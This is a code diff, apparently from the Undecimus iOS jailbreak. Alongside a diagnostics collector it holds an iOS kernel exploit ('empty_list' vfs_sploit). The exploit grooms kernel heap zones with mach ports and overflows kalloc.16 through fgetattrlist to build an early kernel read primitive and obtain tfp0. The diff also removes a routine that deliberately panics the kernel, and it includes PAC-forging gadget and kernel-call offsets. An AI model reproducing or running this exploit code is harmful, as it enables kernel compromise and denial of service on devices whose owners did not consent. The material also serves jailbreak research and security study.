// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include "diagnostics.h"
|
||||
#include <common.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include "utils.h"
|
||||
#include "prefs.h"
|
||||
|
||||
#if 0
|
||||
Credits:
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1138
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1163
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L854
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L869
|
||||
#endif
|
||||
|
||||
NSArray *dependencyArrayFromString(NSString *depends) {
|
||||
NSMutableArray *cleanArray = [NSMutableArray new];
|
||||
NSArray *dependsArray = [depends componentsSeparatedByString:@","];
|
||||
for (NSString *depend in dependsArray) {
|
||||
NSArray *spaceDelimitedArray = [depend componentsSeparatedByString:@" "];
|
||||
NSString *isolatedDependency = [[spaceDelimitedArray objectAtIndex:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
if ([isolatedDependency length] == 0) {
|
||||
isolatedDependency = [[spaceDelimitedArray objectAtIndex:1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
}
|
||||
[cleanArray addObject:isolatedDependency];
|
||||
}
|
||||
return cleanArray;
|
||||
}
|
||||
|
||||
NSArray *parsedPackageArray() {
|
||||
NSString *packageString = [NSString stringWithContentsOfFile:STATUS_FILE encoding:NSUTF8StringEncoding error:nil];
|
||||
NSArray *lineArray = [packageString componentsSeparatedByString:@"\n\n"];
|
||||
NSMutableArray *mutableList = [[NSMutableArray alloc] init];
|
||||
for (NSString *currentItem in lineArray) {
|
||||
NSArray *packageArray = [currentItem componentsSeparatedByString:@"\n"];
|
||||
NSMutableDictionary *currentPackage = [[NSMutableDictionary alloc] init];
|
||||
for (NSString *currentLine in packageArray) {
|
||||
NSArray *itemArray = [currentLine componentsSeparatedByString:@": "];
|
||||
if ([itemArray count] >= 2) {
|
||||
NSString *key = [itemArray objectAtIndex:0];
|
||||
NSString *object = [itemArray objectAtIndex:1];
|
||||
if ([key isEqualToString:@"Depends"]) {
|
||||
NSArray *dependsObject = dependencyArrayFromString(object);
|
||||
[currentPackage setObject:dependsObject forKey:key];
|
||||
} else {
|
||||
[currentPackage setObject:object forKey:key];
|
||||
}
|
||||
}
|
||||
}
|
||||
if ([[currentPackage allKeys] count] > 4) {
|
||||
[mutableList addObject:currentPackage];
|
||||
}
|
||||
currentPackage = nil;
|
||||
}
|
||||
NSSortDescriptor *nameDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Name" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSSortDescriptor *packageDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Package" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSArray *descriptors = [NSArray arrayWithObjects:nameDescriptor, packageDescriptor, nil];
|
||||
NSArray *sortedArray = [mutableList sortedArrayUsingDescriptors:descriptors];
|
||||
mutableList = nil;
|
||||
return sortedArray;
|
||||
}
|
||||
|
||||
NSString *domainFromRepoObject(NSString *repoObject) {
|
||||
if ([repoObject length] == 0) return nil;
|
||||
NSArray *sourceObjectArray = [repoObject componentsSeparatedByString:@" "];
|
||||
NSString *url = [sourceObjectArray objectAtIndex:1];
|
||||
if ([url length] > 7) {
|
||||
NSString *urlClean = [url substringFromIndex:7];
|
||||
NSArray *secondArray = [urlClean componentsSeparatedByString:@"/"];
|
||||
return [secondArray objectAtIndex:0];
|
||||
}
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray *sourcesFromFile(NSString *theSourceFile) {
|
||||
NSMutableArray *finalArray = [NSMutableArray new];
|
||||
NSString *sourceString = [[NSString stringWithContentsOfFile:theSourceFile encoding:NSASCIIStringEncoding error:nil] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
NSArray *sourceFullArray = [sourceString componentsSeparatedByString:@"\n"];
|
||||
NSEnumerator *sourceEnum = [sourceFullArray objectEnumerator];
|
||||
NSString *currentSource = nil;
|
||||
while (currentSource = [sourceEnum nextObject]) {
|
||||
NSString *theObject = domainFromRepoObject(currentSource);
|
||||
if (theObject != nil) {
|
||||
if (![finalArray containsObject:theObject])
|
||||
[finalArray addObject:theObject];
|
||||
}
|
||||
}
|
||||
return finalArray;
|
||||
}
|
||||
|
||||
NSDictionary *getDiagnostics() {
|
||||
NSMutableDictionary *diagnostics = [NSMutableDictionary new];
|
||||
char *OSVersion = getOSVersion();
|
||||
assert(OSVersion != NULL);
|
||||
char *OSProductVersion = getOSProductVersion();
|
||||
assert(OSProductVersion != NULL);
|
||||
char *kernelVersion = getKernelVersion();
|
||||
assert(kernelVersion != NULL);
|
||||
char *machineName = getMachineName();
|
||||
assert(machineName != NULL);
|
||||
prefs_t *prefs = copy_prefs();
|
||||
diagnostics[@"OSVersion"] = [NSString stringWithUTF8String:OSVersion];
|
||||
diagnostics[@"OSProductVersion"] = [NSString stringWithUTF8String:OSProductVersion];
|
||||
diagnostics[@"KernelVersion"] = [NSString stringWithUTF8String:kernelVersion];
|
||||
diagnostics[@"MachineName"] = [NSString stringWithUTF8String:machineName];
|
||||
diagnostics[@"Preferences"] = [NSMutableDictionary new];
|
||||
diagnostics[@"Preferences"][@K_TWEAK_INJECTION] = [NSNumber numberWithBool:(BOOL)prefs->load_tweaks];
|
||||
diagnostics[@"Preferences"][@K_LOAD_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->load_daemons];
|
||||
diagnostics[@"Preferences"][@K_DUMP_APTICKET] = [NSNumber numberWithBool:(BOOL)prefs->dump_apticket];
|
||||
diagnostics[@"Preferences"][@K_REFRESH_ICON_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->run_uicache];
|
||||
diagnostics[@"Preferences"][@K_BOOT_NONCE] = [NSString stringWithUTF8String:(const char *)prefs->boot_nonce];
|
||||
diagnostics[@"Preferences"][@K_DISABLE_AUTO_UPDATES] = [NSNumber numberWithBool:(BOOL)prefs->disable_auto_updates];
|
||||
diagnostics[@"Preferences"][@K_DISABLE_APP_REVOKES] = [NSNumber numberWithBool:(BOOL)prefs->disable_app_revokes];
|
||||
diagnostics[@"Preferences"][@K_OVERWRITE_BOOT_NONCE] = [NSNumber numberWithBool:(BOOL)prefs->overwrite_boot_nonce];
|
||||
diagnostics[@"Preferences"][@K_EXPORT_KERNEL_TASK_PORT] = [NSNumber numberWithBool:(BOOL)prefs->export_kernel_task_port];
|
||||
diagnostics[@"Preferences"][@K_RESTORE_ROOTFS] = [NSNumber numberWithBool:(BOOL)prefs->restore_rootfs];
|
||||
diagnostics[@"Preferences"][@K_INCREASE_MEMORY_LIMIT] = [NSNumber numberWithBool:(BOOL)prefs->increase_memory_limit];
|
||||
diagnostics[@"Preferences"][@K_ECID] = [NSString stringWithUTF8String:(const char *)prefs->ecid];
|
||||
diagnostics[@"Preferences"][@K_INSTALL_CYDIA] = [NSNumber numberWithBool:(BOOL)prefs->install_cydia];
|
||||
diagnostics[@"Preferences"][@K_INSTALL_OPENSSH] = [NSNumber numberWithBool:(BOOL)prefs->install_openssh];
|
||||
diagnostics[@"Preferences"][@K_RELOAD_SYSTEM_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->reload_system_daemons];
|
||||
diagnostics[@"Preferences"][@K_RESET_CYDIA_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->reset_cydia_cache];
|
||||
diagnostics[@"Preferences"][@K_SSH_ONLY] = [NSNumber numberWithBool:(BOOL)prefs->ssh_only];
|
||||
diagnostics[@"Preferences"][@K_ENABLE_GET_TASK_ALLOW] = [NSNumber numberWithBool:(BOOL)prefs->enable_get_task_allow];
|
||||
diagnostics[@"Preferences"][@K_SET_CS_DEBUGGED] = [NSNumber numberWithBool:(BOOL)prefs->set_cs_debugged];
|
||||
diagnostics[@"Preferences"][@K_HIDE_LOG_WINDOW] = [NSNumber numberWithBool:(BOOL)prefs->hide_log_window];
|
||||
diagnostics[@"Preferences"][@K_EXPLOIT] = [NSNumber numberWithInt:(int)prefs->exploit];
|
||||
diagnostics[@"AppVersion"] = [NSString stringWithString:appVersion()];
|
||||
diagnostics[@"LogFile"] = [NSString stringWithContentsOfFile:getLogFile() encoding:NSUTF8StringEncoding error:nil];
|
||||
diagnostics[@"Sources"] = [NSArray arrayWithArray:sourcesFromFile(CYDIA_LIST)];
|
||||
diagnostics[@"Packages"] = [NSArray arrayWithArray:parsedPackageArray()];
|
||||
diagnostics[@"Uptime"] = [NSNumber numberWithDouble:getUptime()];
|
||||
SafeFreeNULL(OSVersion);
|
||||
SafeFreeNULL(OSProductVersion);
|
||||
SafeFreeNULL(kernelVersion);
|
||||
SafeFreeNULL(machineName);
|
||||
release_prefs(&prefs);
|
||||
return diagnostics;
|
||||
}
|
||||
@@ -13,7 +13,7 @@
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include <common.h>
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "empty_list_sploit.h"
|
||||
#include <common.h>
|
||||
@@ -81,10 +81,10 @@ static void build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, u
|
||||
}
|
||||
|
||||
#define N_EARLY_PORTS 80000
|
||||
static mach_port_t early_ports[N_EARLY_PORTS + 20000];
|
||||
static int next_early_port = 0;
|
||||
mach_port_t early_ports[N_EARLY_PORTS + 20000];
|
||||
int next_early_port = 0;
|
||||
|
||||
static void alloc_early_ports()
|
||||
void alloc_early_ports()
|
||||
{
|
||||
for (int i = 0; i < N_EARLY_PORTS; i++) {
|
||||
kern_return_t err;
|
||||
@@ -96,7 +96,7 @@ static void alloc_early_ports()
|
||||
next_early_port = N_EARLY_PORTS - 1;
|
||||
}
|
||||
|
||||
static mach_port_t steal_early_port()
|
||||
mach_port_t steal_early_port()
|
||||
{
|
||||
if (next_early_port == 0) {
|
||||
LOG("out of early ports");
|
||||
@@ -108,14 +108,14 @@ static mach_port_t steal_early_port()
|
||||
return p;
|
||||
}
|
||||
|
||||
static void dump_early_ports()
|
||||
void dump_early_ports()
|
||||
{
|
||||
for (int i = 0; i < N_EARLY_PORTS; i++) {
|
||||
LOG("EARLY %d %08x", i, early_ports[i]);
|
||||
}
|
||||
}
|
||||
|
||||
static void clear_early_ports()
|
||||
void clear_early_ports()
|
||||
{
|
||||
for (int i = 0; i < next_early_port; i++) {
|
||||
mach_port_destroy(mach_task_self(), early_ports[i]);
|
||||
@@ -129,7 +129,7 @@ struct kalloc_16_send_msg {
|
||||
uint8_t pad[0x200];
|
||||
};
|
||||
|
||||
static mach_port_t kalloc_16()
|
||||
mach_port_t kalloc_16()
|
||||
{
|
||||
kern_return_t err;
|
||||
// take an early port:
|
||||
@@ -175,10 +175,10 @@ static mach_port_t kalloc_16()
|
||||
}
|
||||
|
||||
#define N_MIDDLE_PORTS 50000
|
||||
static mach_port_t middle_ports[N_MIDDLE_PORTS];
|
||||
static int next_middle_port = 0;
|
||||
mach_port_t middle_ports[N_MIDDLE_PORTS];
|
||||
int next_middle_port = 0;
|
||||
|
||||
static mach_port_t alloc_middle_port()
|
||||
mach_port_t alloc_middle_port()
|
||||
{
|
||||
mach_port_t port;
|
||||
kern_return_t err;
|
||||
@@ -198,7 +198,7 @@ struct ool_multi_msg {
|
||||
};
|
||||
|
||||
// to free them either receive the message or destroy the port
|
||||
static mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, int messages_to_send, mach_port_t holder_port, mach_port_t* source_ports)
|
||||
mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, int messages_to_send, mach_port_t holder_port, mach_port_t* source_ports)
|
||||
{
|
||||
if (messages_to_send > MACH_PORT_QLIMIT_LARGE) {
|
||||
LOG("****************** too many messages");
|
||||
@@ -271,14 +271,14 @@ static mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, in
|
||||
//return false;
|
||||
}
|
||||
}
|
||||
SafeFreeNULL(ports_to_send);
|
||||
SafeFreeNULL(msg);
|
||||
free(ports_to_send);
|
||||
free(msg);
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
static uint8_t msg_buf[10000];
|
||||
static void discard_message(mach_port_t port)
|
||||
uint8_t msg_buf[10000];
|
||||
void discard_message(mach_port_t port)
|
||||
{
|
||||
mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
|
||||
kern_return_t err;
|
||||
@@ -298,12 +298,12 @@ static void discard_message(mach_port_t port)
|
||||
|
||||
#include <sys/attr.h>
|
||||
|
||||
static int vfs_fd = -1;
|
||||
static struct attrlist al = { 0 };
|
||||
static size_t attrBufSize = 16;
|
||||
static void* attrBuf = NULL;
|
||||
int vfs_fd = -1;
|
||||
struct attrlist al = { 0 };
|
||||
size_t attrBufSize = 16;
|
||||
void* attrBuf = NULL;
|
||||
|
||||
static void prepare_vfs_overflow()
|
||||
void prepare_vfs_overflow()
|
||||
{
|
||||
vfs_fd = open("/", O_RDONLY);
|
||||
if (vfs_fd == -1) {
|
||||
@@ -319,23 +319,23 @@ static void prepare_vfs_overflow()
|
||||
}
|
||||
|
||||
// this will do a kalloc.16, overflow out of it with 8 NULL bytes, then free it
|
||||
static void do_vfs_overflow()
|
||||
void do_vfs_overflow()
|
||||
{
|
||||
int options = 0;
|
||||
int err = fgetattrlist(vfs_fd, &al, attrBuf, attrBufSize, options);
|
||||
//LOG("err: %d", err);
|
||||
}
|
||||
|
||||
static mach_port_t initial_early_kallocs[80000];
|
||||
static int next_early_kalloc = 0;
|
||||
mach_port_t initial_early_kallocs[80000];
|
||||
int next_early_kalloc = 0;
|
||||
|
||||
static mach_port_t middle_kallocs[80000];
|
||||
static int next_middle_kalloc = 0;
|
||||
mach_port_t middle_kallocs[80000];
|
||||
int next_middle_kalloc = 0;
|
||||
|
||||
// in the end I don't use these, but maybe they help?
|
||||
|
||||
static volatile int keep_spinning = 1;
|
||||
static void* spinner(void* arg)
|
||||
volatile int keep_spinning = 1;
|
||||
void* spinner(void* arg)
|
||||
{
|
||||
while (keep_spinning)
|
||||
;
|
||||
@@ -343,9 +343,9 @@ static void* spinner(void* arg)
|
||||
}
|
||||
|
||||
#define N_SPINNERS 100
|
||||
static pthread_t spin_threads[N_SPINNERS];
|
||||
pthread_t spin_threads[N_SPINNERS];
|
||||
|
||||
static void start_spinners()
|
||||
void start_spinners()
|
||||
{
|
||||
return;
|
||||
for (int i = 0; i < N_SPINNERS; i++) {
|
||||
@@ -353,7 +353,7 @@ static void start_spinners()
|
||||
}
|
||||
}
|
||||
|
||||
static void stop_spinners()
|
||||
void stop_spinners()
|
||||
{
|
||||
return;
|
||||
keep_spinning = 0;
|
||||
@@ -362,15 +362,15 @@ static void stop_spinners()
|
||||
}
|
||||
}
|
||||
|
||||
static const int total_fds = 14 * 0x1f * 8;
|
||||
static int read_ends[total_fds];
|
||||
static int write_ends[total_fds];
|
||||
static int next_pipe_index = 0;
|
||||
const int total_fds = 14 * 0x1f * 8;
|
||||
int read_ends[total_fds];
|
||||
int write_ends[total_fds];
|
||||
int next_pipe_index = 0;
|
||||
|
||||
static mach_port_t early_read_port = MACH_PORT_NULL;
|
||||
static int early_read_read_fd = -1;
|
||||
static int early_read_write_fd = -1;
|
||||
static uint64_t early_read_known_kaddr = 0;
|
||||
int early_read_read_fd = -1;
|
||||
int early_read_write_fd = -1;
|
||||
uint64_t early_read_known_kaddr = 0;
|
||||
|
||||
// read_fd and write_fd are the pipe fds which have a pipe buffer at known_addr
|
||||
static void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr)
|
||||
@@ -381,7 +381,7 @@ static void prepare_early_read_primitive(mach_port_t target_port, int read_fd, i
|
||||
early_read_known_kaddr = known_kaddr;
|
||||
}
|
||||
|
||||
static uint32_t early_rk32(uint64_t kaddr)
|
||||
uint32_t early_rk32(uint64_t kaddr)
|
||||
{
|
||||
uint8_t* buf = malloc(0xfff);
|
||||
read(early_read_read_fd, buf, 0xfff);
|
||||
@@ -394,11 +394,11 @@ static uint32_t early_rk32(uint64_t kaddr)
|
||||
LOG("pid_for_task returned %x (%s)", err, mach_error_string(err));
|
||||
}
|
||||
LOG("read val via pid_for_task: %08x", val);
|
||||
SafeFreeNULL(buf);
|
||||
free(buf);
|
||||
return val;
|
||||
}
|
||||
|
||||
static uint64_t early_rk64(uint64_t kaddr)
|
||||
uint64_t early_rk64(uint64_t kaddr)
|
||||
{
|
||||
uint64_t lower = (uint64_t)early_rk32(kaddr);
|
||||
uint64_t upper = (uint64_t)early_rk32(kaddr + 4);
|
||||
@@ -406,21 +406,30 @@ static uint64_t early_rk64(uint64_t kaddr)
|
||||
return final;
|
||||
}
|
||||
|
||||
void waitFor(int seconds) {
|
||||
for (int i = 0; i <= seconds; i++) {
|
||||
LOG("Waiting (%d/%d)", i, seconds);
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
bool vfs_sploit()
|
||||
{
|
||||
LOG("empty_list by @i41nbeer");
|
||||
offsets_init();
|
||||
|
||||
start_spinners();
|
||||
LOG("vfs_sploit");
|
||||
increase_limits();
|
||||
|
||||
size_t kernel_page_size = 0;
|
||||
host_t host = mach_host_self();
|
||||
host_page_size(host, &kernel_page_size);
|
||||
host_page_size(mach_host_self(), &kernel_page_size);
|
||||
if (kernel_page_size == 0x4000) {
|
||||
LOG("this device uses 16k kernel pages");
|
||||
// waitFor(20);
|
||||
} else if (kernel_page_size == 0x1000) {
|
||||
LOG("this device uses 4k kernel pages");
|
||||
// waitFor(45);
|
||||
} else {
|
||||
LOG("this device uses an unsupported kernel page size");
|
||||
return false;
|
||||
@@ -810,8 +819,8 @@ bool vfs_sploit()
|
||||
break;
|
||||
}
|
||||
}
|
||||
SafeFreeNULL(old_contents);
|
||||
SafeFreeNULL(new_contents);
|
||||
free(old_contents);
|
||||
free(new_contents);
|
||||
if (pipe_target_kaddr_replacer_index == -1) {
|
||||
LOG("failed to find the pipe_target_kaddr_replacer pipe");
|
||||
}
|
||||
@@ -830,7 +839,7 @@ bool vfs_sploit()
|
||||
host_msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_COPY_SEND);
|
||||
host_msg.msgh_size = sizeof(host_msg);
|
||||
host_msg.msgh_remote_port = canary_port;
|
||||
host_msg.msgh_local_port = host;
|
||||
host_msg.msgh_local_port = mach_host_self();
|
||||
host_msg.msgh_id = 0x12344321;
|
||||
|
||||
err = mach_msg(&host_msg,
|
||||
@@ -876,7 +885,7 @@ bool vfs_sploit()
|
||||
uint64_t task_kmsg = early_rk64(canary_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
LOG("task_kmsg: %016llx", task_kmsg);
|
||||
|
||||
uint64_t task_port_kaddr = cached_task_self_addr = early_rk64(host_kmsg + 0xac);
|
||||
uint64_t task_port_kaddr = early_rk64(host_kmsg + 0xac);
|
||||
|
||||
LOG("our task port is at %016llx", task_port_kaddr);
|
||||
|
||||
@@ -1051,12 +1060,10 @@ bool vfs_sploit()
|
||||
close(write_ends[i]);
|
||||
close(read_ends[i]);
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
|
||||
LOG("done!");
|
||||
|
||||
LOG("use the functions in KernelMemory.h to read and write kernel memory");
|
||||
LOG("use the functions in kmem.h to read and write kernel memory");
|
||||
LOG("tfp0 in there will stay alive once this process exits");
|
||||
LOG("keep hold of a send right to it; don't expect this exploit to work again without a reboot");
|
||||
return true;
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include <common.h>
|
||||
@@ -228,7 +228,7 @@ uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
|
||||
|
||||
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
|
||||
|
||||
SafeFreeNULL(guesses);
|
||||
free(guesses);
|
||||
|
||||
return best_guess;
|
||||
}
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
//
|
||||
// jailbreak.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/11/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef jailbreak_h
|
||||
#define jailbreak_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void jailbreak(void);
|
||||
|
||||
#endif /* jailbreak_h */
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,90 +0,0 @@
|
||||
//
|
||||
// panic.c
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 4/20/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <common.h>
|
||||
#include "kalloc_crash.h"
|
||||
|
||||
struct simple_msg
|
||||
{
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
/* credits to ian beer */
|
||||
static mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size)
|
||||
{
|
||||
// allocate a port to send the messages to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS)
|
||||
{
|
||||
printf(" [-] failed to allocate port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_limits_t limits = {0};
|
||||
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
|
||||
err = mach_port_set_attributes(mach_task_self(),
|
||||
q,
|
||||
MACH_PORT_LIMITS_INFO,
|
||||
(mach_port_info_t)&limits,
|
||||
MACH_PORT_LIMITS_INFO_COUNT);
|
||||
if (err != KERN_SUCCESS)
|
||||
{
|
||||
printf(" [-] failed to increase queue limit\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
|
||||
struct simple_msg *msg = malloc(msg_size);
|
||||
memset(msg, 0, sizeof(struct simple_msg));
|
||||
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
|
||||
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS)
|
||||
{
|
||||
printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
static uint32_t message_size_for_kalloc_size(uint32_t size)
|
||||
{
|
||||
return ((size * 3) / 4) - 0x74;
|
||||
}
|
||||
|
||||
void do_kalloc_crash() {
|
||||
for (;;) {
|
||||
uint32_t body_size = message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024
|
||||
uint8_t *body = malloc(body_size);
|
||||
memset(body, 0x41, body_size);
|
||||
send_kalloc_message(body, body_size);
|
||||
SafeFreeNULL(body);
|
||||
}
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
//
|
||||
// panic.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 4/20/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef panic_h
|
||||
#define panic_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void do_kalloc_crash(void);
|
||||
|
||||
#endif /* panic_h */
|
||||
@@ -1,188 +0,0 @@
|
||||
/*
|
||||
* kernel_call/kc_parameters.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define KERNEL_CALL_PARAMETERS_EXTERN
|
||||
#include "kc_parameters.h"
|
||||
|
||||
#include "kernel_slide.h"
|
||||
#include "log.h"
|
||||
#include "platform.h"
|
||||
#include "platform_match.h"
|
||||
#include "KernelUtilities.h"
|
||||
|
||||
// ---- Initialization routines -------------------------------------------------------------------
|
||||
|
||||
// A struct describing an initialization.
|
||||
struct initialization {
|
||||
const char *devices;
|
||||
const char *builds;
|
||||
void (*init)(void);
|
||||
};
|
||||
|
||||
// Run initializations matching this platform.
|
||||
static size_t
|
||||
run_initializations(struct initialization *inits, size_t count) {
|
||||
size_t match_count = 0;
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
struct initialization *init = &inits[i];
|
||||
if (platform_matches(init->devices, init->builds)) {
|
||||
init->init();
|
||||
match_count++;
|
||||
}
|
||||
}
|
||||
return match_count;
|
||||
}
|
||||
|
||||
// A helper macro to get the number of elements in a static array.
|
||||
#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
// ---- Offset initialization ---------------------------------------------------------------------
|
||||
|
||||
static void
|
||||
offsets__iphone11_8__16C50() {
|
||||
OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
|
||||
|
||||
SIZE(IOExternalTrap) = 0x18;
|
||||
OFFSET(IOExternalTrap, object) = 0;
|
||||
OFFSET(IOExternalTrap, function) = 8;
|
||||
OFFSET(IOExternalTrap, offset) = 16;
|
||||
|
||||
OFFSET(IORegistryEntry, reserved) = 16;
|
||||
OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
|
||||
|
||||
VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
|
||||
VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
|
||||
}
|
||||
|
||||
// A list of offset initializations by platform.
|
||||
static struct initialization offsets[] = {
|
||||
{ "*", "*", offsets__iphone11_8__16C50 },
|
||||
};
|
||||
|
||||
// ---- Address initialization --------------------------------------------------------------------
|
||||
|
||||
#define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
|
||||
|
||||
static void
|
||||
addresses__iphone11_2__16A366() {
|
||||
ADDRESS(paciza_pointer__l2tp_domain_module_start) = getoffset(paciza_pointer__l2tp_domain_module_start);
|
||||
ADDRESS(paciza_pointer__l2tp_domain_module_stop) = getoffset(paciza_pointer__l2tp_domain_module_stop);
|
||||
ADDRESS(l2tp_domain_inited) = getoffset(l2tp_domain_inited);
|
||||
ADDRESS(sysctl__net_ppp_l2tp) = getoffset(sysctl__net_ppp_l2tp);
|
||||
ADDRESS(sysctl_unregister_oid) = getoffset(sysctl_unregister_oid);
|
||||
ADDRESS(mov_x0_x4__br_x5) = getoffset(mov_x0_x4__br_x5);
|
||||
ADDRESS(mov_x9_x0__br_x1) = getoffset(mov_x9_x0__br_x1);
|
||||
ADDRESS(mov_x10_x3__br_x6) = getoffset(mov_x10_x3__br_x6);
|
||||
ADDRESS(kernel_forge_pacia_gadget) = getoffset(kernel_forge_pacia_gadget);
|
||||
ADDRESS(kernel_forge_pacda_gadget) = getoffset(kernel_forge_pacda_gadget);
|
||||
SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
|
||||
OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
|
||||
OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
|
||||
OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
|
||||
ADDRESS(IOUserClient__vtable) = getoffset(IOUserClient__vtable);
|
||||
ADDRESS(IORegistryEntry__getRegistryEntryID) = getoffset(IORegistryEntry__getRegistryEntryID);
|
||||
}
|
||||
|
||||
// A list of address initializations by platform.
|
||||
static struct initialization addresses[] = {
|
||||
{ "*", "16A366-16D5024a", addresses__iphone11_2__16A366 },
|
||||
};
|
||||
|
||||
// ---- PAC initialization ------------------------------------------------------------------------
|
||||
|
||||
#if __arm64e__
|
||||
|
||||
static void
|
||||
pac__iphone11_8__16C50() {
|
||||
INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
|
||||
0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
|
||||
0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
|
||||
